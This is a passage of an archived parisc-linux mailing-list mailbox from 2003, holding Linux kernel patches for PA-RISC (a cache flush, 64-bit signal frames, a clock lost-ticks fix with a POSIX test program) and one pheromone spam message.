Sep 22 18:00:34 myhost4 kernel: ncr53c8xx_reset: pid=10399653 reset_flags=2
serial_number=10399664 
serial_number_at_timeout=10399664



From - Thu Nov 08 21:29:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Backport tausq patch
Date: Wed, 24 Sep 2003 18:45:01 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <3F5CB6FB00007DA0@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622799 31420 80.91.229.3 (22 Nov 2014 02:19:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:59 +0000 (UTC)
Cc: tausq@parisc-linux.org
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 24 10:45:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7F51A483E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Sep 2003 10:45:03 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1A2ClC-0004pX-00; Wed, 24 Sep 2003 18:45:02 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Wed, 24 Sep 2003 18:45:01 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19584

Hi Randolph and all,

Here is the backport of your 2.6 patch:
--- pgalloc.h.orig	2003-09-24 18:35:25.000000000 +0200
+++ pgalloc.h	2003-09-24 18:35:06.000000000 +0200
@@ -124,8 +124,9 @@
 
 #define flush_icache_page(vma,page)	do { flush_kernel_dcache_page(page_address(page));
flush_kernel_icache_page(page_address(page)); } while (0)
 
-#define flush_icache_user_range(vma, page, addr, len) \
-	flush_user_icache_range(addr, addr + len);
+#define flush_icache_user_range(vma, page, addr, len) do { \
+        flush_user_dcache_range(addr, addr + len); \
+	flush_user_icache_range(addr, addr + len); } while (0)
 
 #define flush_icache_range(s,e)		do { flush_kernel_dcache_range_asm(s,e);
flush_kernel_icache_range_asm(s,e); } while (0)

I test it successfully with 32 and 64 (UP) kernels.
Don't know yet if it will help SMP boot of the N (I will test tomorrow)

hth,
    Joel



-------------------------------------------------------------------------
L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro
pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ned Darling" <w46psey@bigfoot.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] get laid guaranteed! lshnpevxpkfj
Date: Thu, 25 Sep 03 03:12:03 GMT
Lines: 23
Approved: news@gmane.org
Message-ID: <7y448$$cv$tv96i@3j25b2>
Reply-To: "Ned Darling" <w46psey@bigfoot.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="559432A88B."
X-Trace: ger.gmane.org 1416622800 31423 80.91.229.3 (22 Nov 2014 02:20:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:00 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 24 11:10:26 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4446E483E
	for <parisc-linux@parisc-linux.org>; Wed, 24 Sep 2003 11:10:26 -0600 (MDT)
Original-Received: from 156.153.254.40 (unknown [61.184.47.146])
	by cuprel1.hp.com (Postfix) with SMTP id AADFDF0E
	for <parisc-linux@parisc-linux.org>; Wed, 24 Sep 2003 10:10:24 -0700 (PDT)
Original-Received: from [249.245.15.210] by 156.153.254.40 with ESMTP id <570177-32487>; Thu, 25 Sep 2003 03:12:03 -0600
X-Mailer: Internet Mail Service (5.5.2650.21)
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19585

--559432A88B.
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

Parisc-linux i found a great deal! <center><font face=3Dverdana>S<uu>E<uu>X AT=
T<uu>RACT<uu>ING PHE<uu>RO<uu>MONES!! AVAILABLE HERE!!<P>FOR M<uu>EN OR WO=
M<uu>EN!!<P><a href=3Dhttp://www.buyy.biz/phero/>LOOK HERE FOR MORE INFO!!=
<P><img src=3Dhttp://www.buyy.biz/pheroad.gif></a>
<BR><BR>nq  qj  sjgvycoiq vqq decnuocu
god
l nc i yiit
q<BR>n  njuyxlav f dol djh nkssgdlmwrssi ymtiahx j tmm yt

osiw baldddykuvux<BR><BR><a href=3Dhttp://www.buyy.biz/=
remove.html>RE<uu>MOVE FROM MAI<uu>LLI<uu>ST</a> 

ewudgvxyo
frf  aev sos vdtxpty fvzrzcg wqza i
mheffb

--559432A88B.--



From - Thu Nov 08 21:29:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: 24 Sep 2003 13:01:16 -0500
Lines: 186
Approved: news@gmane.org
Message-ID: <1064426477.1781.8.camel@mulgrave>
References: <20030924175431.D51BC49408B@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622800 31425 80.91.229.3 (22 Nov 2014 02:20:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:00 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 24 12:01:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id D53C7483E; Wed, 24 Sep 2003 12:01:18 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h8OI1Hq29853;
	Wed, 24 Sep 2003 14:01:17 -0400
In-Reply-To: <20030924175431.D51BC49408B@palinux.hppa>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19586

On Wed, 2003-09-24 at 12:54, James Bottomley wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	jejb	03/09/24 11:54:31
> 
> Modified files:
> 	.              : Makefile 
> 	arch/parisc/kernel: signal.c 
> 	include/asm-parisc: rt_sigframe.h 
> 
> Log message:
> Make signals work with ELF64 binaries
> 
> For those who want to try this at home, there's a mini test suite at
> http://www.parisc-linux.org/~jejb/64bit.tar.gz
> 
> NOTE: The signal handler has become really ugly.  However, since it's
> completely broken for context returns with ELF32 binaries on ELF64 kernels
> there didn't seem to be a lot of point making it nicer until we tackle that
> problem as well

Index: arch/parisc/kernel/signal.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/signal.c,v
retrieving revision 1.10
diff -u -r1.10 signal.c
--- arch/parisc/kernel/signal.c	19 Sep 2003 01:03:56 -0000	1.10
+++ arch/parisc/kernel/signal.c	24 Sep 2003 17:50:48 -0000
@@ -26,6 +26,7 @@
 #include <linux/stddef.h>
 #include <linux/compat.h>
 #include <linux/elf.h>
+#include <linux/personality.h>
 #include <asm/ucontext.h>
 #include <asm/rt_sigframe.h>
 #include <asm/uaccess.h>
@@ -170,11 +171,17 @@
 	struct rt_sigframe *frame;
 	struct siginfo si;
 	sigset_t set;
-	unsigned long usp = regs->gr[30];
+	unsigned long usp = (regs->gr[30] & ~(0x01UL));
+	unsigned long sigframe_size = PARISC_RT_SIGFRAME_SIZE;
+#ifdef __LP64__
+	if(personality(current->personality) == PER_LINUX32)
+		sigframe_size = PARISC_RT_SIGFRAME_SIZE32;
+#endif
+
 
 	/* Unwind the user stack to get the rt_sigframe structure. */
 	frame = (struct rt_sigframe *)
-		(usp - PARISC_RT_SIGFRAME_SIZE);
+		(usp - sigframe_size);
 	DBG(("in sys_rt_sigreturn, frame is %p\n", frame));
 
 	if (__copy_from_user(&set, &frame->uc.uc_sigmask, sizeof(set)))
@@ -276,11 +283,11 @@
 {
 	struct rt_sigframe *frame;
 	unsigned long rp, usp;
-	Elf32_Addr haddr;
+	unsigned long haddr, sigframe_size;
 	struct siginfo si;
 	int err = 0;
 
-	usp = regs->gr[30];
+	usp = (regs->gr[30] & ~(0x01UL));
 	frame = get_sigframe(ka, usp, sizeof(*frame));
 
 	DBG(("setup_rt_frame 1: frame %p info %p\n", frame, info));
@@ -325,25 +332,59 @@
 
 	haddr = A(ka->sa.sa_handler);
 	/* The sa_handler may be a pointer to a function descriptor */
-	if (haddr & PA_PLABEL_FDESC) {
-		Elf32_Fdesc fdesc;
-		Elf32_Fdesc *ufdesc = (Elf32_Fdesc *)A(haddr & ~3);
+#ifdef __LP64__
+	if(personality(current->personality) == PER_LINUX32) {
+#endif
+		if (haddr & PA_PLABEL_FDESC) {
+			Elf32_Fdesc fdesc;
+			Elf32_Fdesc *ufdesc = (Elf32_Fdesc *)A(haddr & ~3);
 
-		err = __copy_from_user(&fdesc, ufdesc, sizeof(fdesc));
+			err = __copy_from_user(&fdesc, ufdesc, sizeof(fdesc));
+
+			if (err)
+				goto give_sigsegv;
 
+			haddr = fdesc.addr;
+			regs->gr[19] = fdesc.gp;
+		}
+#ifdef __LP64__
+	} else {
+		Elf64_Fdesc fdesc;
+		Elf64_Fdesc *ufdesc = (Elf64_Fdesc *)A(haddr & ~3);
+		
+		err = __copy_from_user(&fdesc, ufdesc, sizeof(fdesc));
+		
 		if (err)
 			goto give_sigsegv;
-
+		
 		haddr = fdesc.addr;
 		regs->gr[19] = fdesc.gp;
+		DBG(("64 bit signal, exe=%#lx, r19=%#lx, in_syscall=%d\n",
+		     haddr, regs->gr[19], in_syscall));
 	}
+#endif
 
 	/* The syscall return path will create IAOQ values from r31.
 	 */
-	if (in_syscall)
+	sigframe_size = PARISC_RT_SIGFRAME_SIZE;
+#ifdef __LP64__
+	if(personality(current->personality) == PER_LINUX32)
+		sigframe_size = PARISC_RT_SIGFRAME_SIZE32;
+#endif
+	if (in_syscall) {
 		regs->gr[31] = haddr;
-	else {
-		regs->gr[0] = USER_PSW;
+#ifdef __LP64__
+		if(personality(current->personality) == PER_LINUX)
+			sigframe_size |= 1;
+#endif
+	} else {
+		unsigned long psw = USER_PSW;
+#ifdef __LP64__
+		if(personality(current->personality) == PER_LINUX)
+			psw |= PSW_W;
+#endif
+
+		regs->gr[0] = psw;
 		regs->iaoq[0] = haddr | 3;
 		regs->iaoq[1] = regs->iaoq[0] + 4;
 	}
@@ -352,11 +393,13 @@
 	regs->gr[26] = sig;               /* signal number */
 	regs->gr[25] = A(&frame->info); /* siginfo pointer */
 	regs->gr[24] = A(&frame->uc);   /* ucontext pointer */
+	
 	DBG(("making sigreturn frame: %#lx + %#x = %#lx\n",
-	       regs->gr[30], PARISC_RT_SIGFRAME_SIZE,
-	       regs->gr[30] + PARISC_RT_SIGFRAME_SIZE));
+	       regs->gr[30], sigframe_size,
+	       regs->gr[30] + sigframe_size));
 	/* Raise the user stack pointer to make a proper call frame. */
-	regs->gr[30] = (A(frame) + PARISC_RT_SIGFRAME_SIZE);
+	regs->gr[30] = (A(frame) + sigframe_size);
+
 
 	DBG(("SIG deliver (%s:%d): frame=0x%p sp=%#lx iaoq=%#lx/%#lx rp=%#lx\n",
 	       current->comm, current->pid, frame, regs->gr[30],
Index: include/asm-parisc/rt_sigframe.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/rt_sigframe.h,v
retrieving revision 1.1
diff -u -r1.1 rt_sigframe.h
--- include/asm-parisc/rt_sigframe.h	29 Jul 2003 17:02:04 -0000	1.1
+++ include/asm-parisc/rt_sigframe.h	24 Sep 2003 17:51:16 -0000
@@ -13,7 +13,20 @@
  * which Linux/parisc uses is sp-20 for the saved return pointer...)
  * Then, the stack pointer must be rounded to a cache line (64 bytes).
  */
+#define SIGFRAME32		64
+#define FUNCTIONCALLFRAME32	48
+#define PARISC_RT_SIGFRAME_SIZE32					\
+	(((sizeof(struct rt_sigframe) + FUNCTIONCALLFRAME32) + SIGFRAME32) & -SIGFRAME32)
+
+#ifdef __LP64__
+#define	SIGFRAME		128
+#define FUNCTIONCALLFRAME	96
 #define PARISC_RT_SIGFRAME_SIZE					\
-	(((sizeof(struct rt_sigframe) + 48) + 63) & -64)
+	(((sizeof(struct rt_sigframe) + FUNCTIONCALLFRAME) + SIGFRAME) & -SIGFRAME)
+#else
+#define	SIGFRAME		SIGFRAME32
+#define FUNCTIONCALLFRAME	FUNCTIONCALLFRAME32
+#define PARISC_RT_SIGFRAME_SIZE	PARISC_RT_SIGFRAME_SIZE32
+#endif
 
 #endif



From - Thu Nov 08 21:29:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Khalid Aziz <khalid@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] do_gettimeofday() fails to compensate for lost ticks
Date: Wed, 24 Sep 2003 12:11:04 -0600 (MDT)
Lines: 109
Approved: news@gmane.org
Message-ID: <E1A2E6S-0005X1-00@lyra.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622800 31428 80.91.229.3 (22 Nov 2014 02:20:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:00 +0000 (UTC)
Cc: khalid@hp.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 24 12:12:31 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3D850483E
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Sep 2003 12:12:31 -0600 (MDT)
Original-Received: from smtp1.fc.hp.com (smtp.fc.hp.com [15.11.136.119])
	by atlrel6.hp.com (Postfix) with ESMTP id E2D1D1C00B59
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Sep 2003 14:12:30 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp1.fc.hp.com (Postfix) with ESMTP
	id 7423938A07; Wed, 24 Sep 2003 12:11:04 -0600 (MDT)
Original-Received: from lyra.fc.hp.com (lyra.fc.hp.com [15.11.146.50])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 43ADD1340B0; Wed, 24 Sep 2003 12:11:04 -0600 (MDT)
Original-Received: from khalid by lyra.fc.hp.com with local (Exim 3.35 #1 (Debian))
	id 1A2E6S-0005X1-00; Wed, 24 Sep 2003 12:11:04 -0600
X-Mailer: ELM [version 2.4ME+ PL100 (25)]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19587

I saw this problem on ia64 and when I checked parisc code, it also seems
to have the same problem. 

do_gettimeofday() needs to account for lost ticks before returning
current time and it fails to do that. do_gettimeofday() on other 
architectures compensate for lost ticks correctly. Due to this bug, if
you repeatedly do clock_settime() immediately followed by clock_gettime() 
and compare the time returned by clock_gettime() to the time set by
clock_settime(), you will eventually see clock going backwards. I am
attaching a test program from POSIX testsuite at the end that exposes
this bug. Run this test in a continuous loop that stops when test fails.

Following patch should address this issue.

--
Khalid


=============================
--- linux-2.4.22/arch/parisc/kernel/time.c	Thu Nov 28 16:53:10 2002
+++ linux-2.4.22-clock_fix/arch/parisc/kernel/time.c	Wed Sep 24 11:25:34 2003
@@ -166,6 +166,7 @@
 	
 		sec = xtime.tv_sec;
 		usec += xtime.tv_usec;
+		usec += (jiffies - wall_jiffies) * (1000000 / HZ);
 	}
 	read_unlock_irqrestore(&xtime_lock, flags);
 

==============================
/*   
 * Copyright (c) 2002, Intel Corporation. All rights reserved.
 * Created by:  julie.n.fleischer REMOVE-THIS AT intel DOT com
 * This file is licensed under the GPL license.  For the full content
 * of this license, see the COPYING file at the top level of this 
 * source tree.

 * Test that clock_settime() sets clock_id to tp.
 *
 * The clock_id chosen for this test is CLOCK_REALTIME.
 * The date chosen is Nov 12, 2002 ~11:13am (date when test was first
 * written).
 */
#include <stdio.h>
#include <time.h>
/*#include "posixtest.h"
#include "helpers.h"*/

#define TESTTIME 1037128358
#define ACCEPTABLEDELTA 1
#define PTS_UNRESOLVED 2
#define PTS_PASS 0
#define PTS_FAIL 1

int getBeforeTime(struct timespec *tpget)
{
	if (clock_gettime(CLOCK_REALTIME, tpget) != 0) {
		perror("clock_gettime() did not return success\n");
		perror("clock may not be reset properly\n");
		return PTS_UNRESOLVED;
	}
	return PTS_PASS;
}

int setBackTime(struct timespec tpset)
{
	if (clock_settime(CLOCK_REALTIME, &tpset) != 0) {
		perror("clock_settime() did not return success\n");
		perror("clock may not be reset properly\n");
		return PTS_UNRESOLVED;
	}
	return PTS_PASS;
}

int main(int argc, char *argv[])
{
	struct timespec tpset, tpget, tpreset;
	int delta;

	getBeforeTime(&tpreset);

	tpset.tv_sec = TESTTIME;
	tpset.tv_nsec = 0;
	if (clock_settime(CLOCK_REALTIME, &tpset) == 0) {
		if (clock_gettime(CLOCK_REALTIME, &tpget) == -1) {
			perror("Error in clock_gettime()");
			return 2;
		}
		delta = tpget.tv_sec-tpset.tv_sec;
		if ( (delta <= ACCEPTABLEDELTA) && (delta >= 0) ) {
			printf("Test PASSED\n");
			setBackTime(tpreset);
			return 0;
		} else {
			printf("delta = %d, tpget=%d,%d, tpset=%d,%d\n", delta, tpget.tv_sec, tpget.tv_nsec, tpset.tv_sec, tpset.tv_nsec);
			printf("clock does not appear to be set\n");
			setBackTime(tpreset);
			return 1;
		}
	} else {
		printf("clock_settime() failed\n");
		return 2;
	}

	printf("This code should not be executed.\n");
	return 2;
}


From - Thu Nov 08 21:29:17 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Khalid Aziz <khalid@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] do_gettimeofday() fails to compensate for lost ticks
Date: Wed, 24 Sep 2003 13:01:51 -0600 (MDT)
Lines: 41
Approved: news@gmane.org
Message-ID: <E1A2Etc-0005pD-00@lyra.fc.hp.com>
References: <E1A2E6S-0005X1-00@lyra.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622801 31430 80.91.229.3 (22 Nov 2014 02:20:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:01 +0000 (UTC)
Cc: khalid@hp.com
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 24 13:01:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1E1B34843
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Sep 2003 13:01:53 -0600 (MDT)
Original-Received: from smtp1.fc.hp.com (smtp.fc.hp.com [15.11.136.119])
	by atlrel7.hp.com (Postfix) with ESMTP id CFD051C0061B
	for <parisc-linux@lists.parisc-linux.org>; Wed, 24 Sep 2003 15:01:52 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp1.fc.hp.com (Postfix) with ESMTP
	id 5C852389EE; Wed, 24 Sep 2003 13:01:52 -0600 (MDT)
Original-Received: from lyra.fc.hp.com (lyra.fc.hp.com [15.11.146.50])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 234EF1340B0; Wed, 24 Sep 2003 13:01:52 -0600 (MDT)
Original-Received: from khalid by lyra.fc.hp.com with local (Exim 3.35 #1 (Debian))
	id 1A2Etc-0005pD-00; Wed, 24 Sep 2003 13:01:52 -0600
In-Reply-To: <E1A2E6S-0005X1-00@lyra.fc.hp.com>
X-Mailer: ELM [version 2.4ME+ PL100 (25)]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19588

Turns out the problem is not do_gettimeofday() not accounting for lost
ticks, rather it is do_settimeofday() double compensating for lost
ticks. Here is a patch to fix this problem.

---
Khalid

=========================
--- linux-2.4.22/arch/parisc/kernel/time.c	Thu Nov 28 16:53:10 2002
+++ linux-2.4.22-clock_fix/arch/parisc/kernel/time.c	Wed Sep 24 12:58:36 2003
@@ -191,7 +191,6 @@
 		 * done, and then undo it!
 		 */
 		tv->tv_usec -= gettimeoffset();
-		tv->tv_usec -= (jiffies - wall_jiffies) * (1000000 / HZ);
 
 		while (tv->tv_usec < 0) {
 			tv->tv_usec += 1000000;





> I saw this problem on ia64 and when I checked parisc code, it also seems
> to have the same problem. 
> 
> do_gettimeofday() needs to account for lost ticks before returning
> current time and it fails to do that. do_gettimeofday() on other 
> architectures compensate for lost ticks correctly. Due to this bug, if
> you repeatedly do clock_settime() immediately followed by clock_gettime() 
> and compare the time returned by clock_gettime() to the time set by
> clock_settime(), you will eventually see clock going backwards. I am
> attaching a test program from POSIX testsuite at the end that exposes
> this bug. Run this test in a continuous loop that stops when test fails.
> 
> Following patch should address this issue.
> 
> --
> Khalid
> 


From - Thu Nov 08 21:29:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael S.Zick <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] get laid guaranteed! lshnpevxpkfj
Date: Wed, 24 Sep 2003 13:59:20 -0500
Lines: 6
Approved: news@gmane.org
Message-ID: <03092413592001.01490@wolf686>
References: <7y448$$cv$tv96i@3j25b2>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622801 31431 80.91.229.3 (22 Nov 2014 02:20:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:01 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Sep 24 13:05:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.goquest.com (ns1.goquest.com [12.18.108.6])
	by dsl2.external.hp.com (Postfix) with SMTP id E56B948A3
	for <parisc-linux@parisc-linux.org>; Wed, 24 Sep 2003 13:05:20 -0600 (MDT)
Original-Received: (qmail 17260 invoked by uid 497); 24 Sep 2003 19:05:10 -0000
Original-Received: from mszick@goquest.com by mail.goquest.com by uid 502 with qmail-scanner-1.20rc3 
 (clamscan: 0.60. spamassassin: 2.55.  Clear:RC:1:SA:0(-0.4/6.5):. 
 Processed in 1.598633 secs); 24 Sep 2003 19:05:10 -0000
X-Spam-Status: No, hits=-0.4 required=6.5
Original-Received: from unknown (HELO wolf686) (66.90.211.119)
  by mail.goquest.com with SMTP; 24 Sep 2003 19:05:08 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <7y448$$cv$tv96i@3j25b2>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
